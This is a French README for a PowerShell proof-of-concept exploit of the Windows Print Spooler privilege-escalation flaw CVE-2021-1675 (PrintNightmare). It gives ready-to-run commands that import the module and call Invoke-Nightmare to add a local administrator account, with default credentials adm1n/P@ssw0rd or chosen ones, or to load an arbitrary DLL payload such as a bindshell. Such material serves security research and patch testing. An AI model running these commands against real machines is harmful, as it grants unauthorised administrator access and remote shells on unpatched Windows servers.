
Implémentation pure PowerShell de l'élévation de privilèges locale du Spouleur d'impression CVE-2021-1675 (PrintNightmare)
Caleb Stewart | John Hammond | 1er juillet 2021
CVE-2021-1675 est une vulnérabilité critique d'exécution de code à distance et d'élévation de privilèges locale surnommée « PrintNightmare ».
Des preuves de concept (PoC) ont été publiées (Python, C++) pour la capacité d'exécution de code à distance, et une version en C# pour l'élévation de privilèges locale. Nous n'avions pas vu d'implémentation native en PowerShell pur, et nous avons voulu tenter de raffiner et de retravailler l'exploit.
Ce script PowerShell effectue une élévation de privilèges locale (LPE) avec la technique d'attaque PrintNightmare.

Ce script a été testé sur Windows Server 2016 et Windows Server 2019.
Ajoute un nouvel utilisateur au groupe des administrateurs locaux par défaut :
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"
Fournissez une charge utile DLL personnalisée pour faire tout ce que vous souhaitez.
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"